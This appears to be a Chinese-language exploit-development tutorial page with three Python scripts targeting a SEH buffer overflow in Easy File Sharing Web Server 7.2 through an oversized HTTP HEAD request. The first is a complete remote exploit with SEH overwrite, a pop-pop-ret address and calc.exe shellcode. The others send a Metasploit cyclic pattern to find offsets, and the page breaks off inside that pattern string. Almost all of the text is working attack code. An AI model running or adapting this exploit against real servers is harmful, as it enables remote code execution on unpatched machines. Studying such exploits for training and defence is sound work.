<span class="token comment"># Exploit Author: binghe</span>
<span class="token comment"># Version: 7.2</span>
<span class="token comment"># Tested on: XP SP3 EN</span>
<span class="token comment"># category: Remote Exploit</span>
<span class="token comment"># Usage: ./exploit.py ip port</span>
 
<span class="token keyword">import</span> socket
<span class="token keyword">import</span> sys
 
host <span class="token operator">=</span> <span class="token builtin">str</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
port <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
 
a <span class="token operator">=</span> socket<span class="token punctuation">.</span>socket<span class="token punctuation">(</span><span class="token punctuation">)</span>
 
<span class="token keyword">print</span> <span class="token string">&quot;Connecting to: &quot;</span> <span class="token operator">+</span> host <span class="token operator">+</span> <span class="token string">&quot;:&quot;</span> <span class="token operator">+</span> <span class="token builtin">str</span><span class="token punctuation">(</span>port<span class="token punctuation">)</span>
a<span class="token punctuation">.</span>connect<span class="token punctuation">(</span><span class="token punctuation">(</span>host<span class="token punctuation">,</span>port<span class="token punctuation">)</span><span class="token punctuation">)</span>
 
entire<span class="token operator">=</span><span class="token number">4500</span>
 
<span class="token comment"># Junk</span>
buff <span class="token operator">=</span> <span class="token string">&quot;A&quot;</span><span class="token operator">*</span><span class="token number">4061</span>
 
<span class="token comment"># Next SEH</span>
buff<span class="token operator">+=</span> <span class="token string">&quot;\xeb\x0A\x90\x90&quot;</span>
 
<span class="token comment"># pop pop ret</span>
buff<span class="token operator">+=</span> <span class="token string">&quot;\x98\x97\x01\x10&quot;</span>
 
buff<span class="token operator">+=</span> <span class="token string">&quot;\x90&quot;</span><span class="token operator">*</span><span class="token number">19</span>
 
<span class="token comment"># calc.exe</span>
<span class="token comment"># Bad Characters: \x20 \x2f \x5c</span>
shellcode <span class="token operator">=</span> <span class="token punctuation">(</span>
<span class="token string">&quot;\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9&quot;</span>
<span class="token string">&quot;\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56&quot;</span>
<span class="token string">&quot;\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9&quot;</span>
<span class="token string">&quot;\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97&quot;</span>
<span class="token string">&quot;\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64&quot;</span>
<span class="token string">&quot;\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8&quot;</span>
<span class="token string">&quot;\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a&quot;</span>
<span class="token string">&quot;\x1c\x39\xbd&quot;</span>
<span class="token punctuation">)</span>
buff<span class="token operator">+=</span> shellcode
 
buff<span class="token operator">+=</span> <span class="token string">&quot;\x90&quot;</span><span class="token operator">*</span><span class="token number">7</span>
 
buff<span class="token operator">+=</span> <span class="token string">&quot;A&quot;</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4500</span><span class="token operator">-</span><span class="token number">4061</span><span class="token operator">-</span><span class="token number">4</span><span class="token operator">-</span><span class="token number">4</span><span class="token operator">-</span><span class="token number">20</span><span class="token operator">-</span><span class="token builtin">len</span><span class="token punctuation">(</span>shellcode<span class="token punctuation">)</span><span class="token operator">-</span><span class="token number">20</span><span class="token punctuation">)</span>
 
<span class="token comment"># HEAD</span>
a<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">&quot;HEAD &quot;</span> <span class="token operator">+</span> buff <span class="token operator">+</span> <span class="token string">&quot; HTTP/1.0\r\n\r\n&quot;</span><span class="token punctuation">)</span>
 
a<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>
 
<span class="token keyword">print</span> <span class="token string">&quot;Done...&quot;</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br><span class="line-number">20</span><br><span class="line-number">21</span><br><span class="line-number">22</span><br><span class="line-number">23</span><br><span class="line-number">24</span><br><span class="line-number">25</span><br><span class="line-number">26</span><br><span class="line-number">27</span><br><span class="line-number">28</span><br><span class="line-number">29</span><br><span class="line-number">30</span><br><span class="line-number">31</span><br><span class="line-number">32</span><br><span class="line-number">33</span><br><span class="line-number">34</span><br><span class="line-number">35</span><br><span class="line-number">36</span><br><span class="line-number">37</span><br><span class="line-number">38</span><br><span class="line-number">39</span><br><span class="line-number">40</span><br><span class="line-number">41</span><br><span class="line-number">42</span><br><span class="line-number">43</span><br><span class="line-number">44</span><br><span class="line-number">45</span><br><span class="line-number">46</span><br><span class="line-number">47</span><br><span class="line-number">48</span><br><span class="line-number">49</span><br><span class="line-number">50</span><br><span class="line-number">51</span><br><span class="line-number">52</span><br><span class="line-number">53</span><br><span class="line-number">54</span><br><span class="line-number">55</span><br><span class="line-number">56</span><br></div></div><h2 id="脚本二"><a href="#脚本二" class="header-anchor">#</a> 脚本二：</h2> <div class="language-python line-numbers-mode"><pre class="language-python"><code><span class="token comment"># Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow</span>
<span class="token comment"># Date: 2019-01-16</span>
<span class="token comment"># Exploit Author: binghe</span>
<span class="token comment"># Version: 7.2</span>
<span class="token comment"># Tested on: XP SP3 EN</span>
<span class="token comment"># category: Remote Exploit</span>
<span class="token comment"># Usage: ./exploit.py ip port</span>
 
<span class="token keyword">import</span> socket
<span class="token keyword">import</span> sys
 
host <span class="token operator">=</span> <span class="token builtin">str</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
port <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
 
a <span class="token operator">=</span> socket<span class="token punctuation">.</span>socket<span class="token punctuation">(</span><span class="token punctuation">)</span>
 
<span class="token keyword">print</span> <span class="token string">&quot;Connecting to: &quot;</span> <span class="token operator">+</span> host <span class="token operator">+</span> <span class="token string">&quot;:&quot;</span> <span class="token operator">+</span> <span class="token builtin">str</span><span class="token punctuation">(</span>port<span class="token punctuation">)</span>
a<span class="token punctuation">.</span>connect<span class="token punctuation">(</span><span class="token punctuation">(</span>host<span class="token punctuation">,</span>port<span class="token punctuation">)</span><span class="token punctuation">)</span>
 
entire<span class="token operator">=</span><span class="token number">4500</span>
 
<span class="token comment"># Next SEH</span>
<span class="token comment"># Metasploit中的pattern_create.rb生成字符序列：</span>
<span class="token comment"># /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 10000</span>
buff <span class="token operator">=</span> <span class="token string">&quot;Metasploit中的pattern_create.rb生成的字符序列&quot;</span>
 
<span class="token comment"># HEAD</span>
a<span class="token punctuation">.</span>send<span class="token punctuation">(</span><span class="token string">&quot;HEAD &quot;</span> <span class="token operator">+</span> buff <span class="token operator">+</span> <span class="token string">&quot; HTTP/1.0\r\n\r\n&quot;</span><span class="token punctuation">)</span>
 
a<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>
 
<span class="token keyword">print</span> <span class="token string">&quot;Done...&quot;</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br><span class="line-number">11</span><br><span class="line-number">12</span><br><span class="line-number">13</span><br><span class="line-number">14</span><br><span class="line-number">15</span><br><span class="line-number">16</span><br><span class="line-number">17</span><br><span class="line-number">18</span><br><span class="line-number">19</span><br><span class="line-number">20</span><br><span class="line-number">21</span><br><span class="line-number">22</span><br><span class="line-number">23</span><br><span class="line-number">24</span><br><span class="line-number">25</span><br><span class="line-number">26</span><br><span class="line-number">27</span><br><span class="line-number">28</span><br><span class="line-number">29</span><br><span class="line-number">30</span><br><span class="line-number">31</span><br><span class="line-number">32</span><br></div></div><h2 id="脚本三"><a href="#脚本三" class="header-anchor">#</a> 脚本三：</h2> <div class="language-python line-numbers-mode"><pre class="language-python"><code><span class="token comment"># Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow</span>
<span class="token comment"># Date: 2019-01-16</span>
<span class="token comment"># Exploit Author: binghe</span>
<span class="token comment"># Version: 7.2</span>
<span class="token comment"># Tested on: XP SP3 EN</span>
<span class="token comment"># category: Remote Exploit</span>
<span class="token comment"># Usage: ./exploit.py ip port</span>
 
<span class="token keyword">import</span> socket
<span class="token keyword">import</span> sys
 
host <span class="token operator">=</span> <span class="token builtin">str</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
port <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
 
a <span class="token operator">=</span> socket<span class="token punctuation">.</span>socket<span class="token punctuation">(</span><span class="token punctuation">)</span>
 
<span class="token keyword">print</span> <span class="token string">&quot;Connecting to: &quot;</span> <span class="token operator">+</span> host <span class="token operator">+</span> <span class="token string">&quot;:&quot;</span> <span class="token operator">+</span> <span class="token builtin">str</span><span class="token punctuation">(</span>port<span class="token punctuation">)</span>
a<span class="token punctuation">.</span>connect<span class="token punctuation">(</span><span class="token punctuation">(</span>host<span class="token punctuation">,</span>port<span class="token punctuation">)</span><span class="token punctuation">)</span>
 
entire<span class="token operator">=</span><span class="token number">4500</span>
 
<span class="token comment"># Next SEH</span>
<span class="token comment"># 已经替换成/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 10000生成的字符序列</span>
buff <span class="token operator">=</span> <span class="token string">&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2J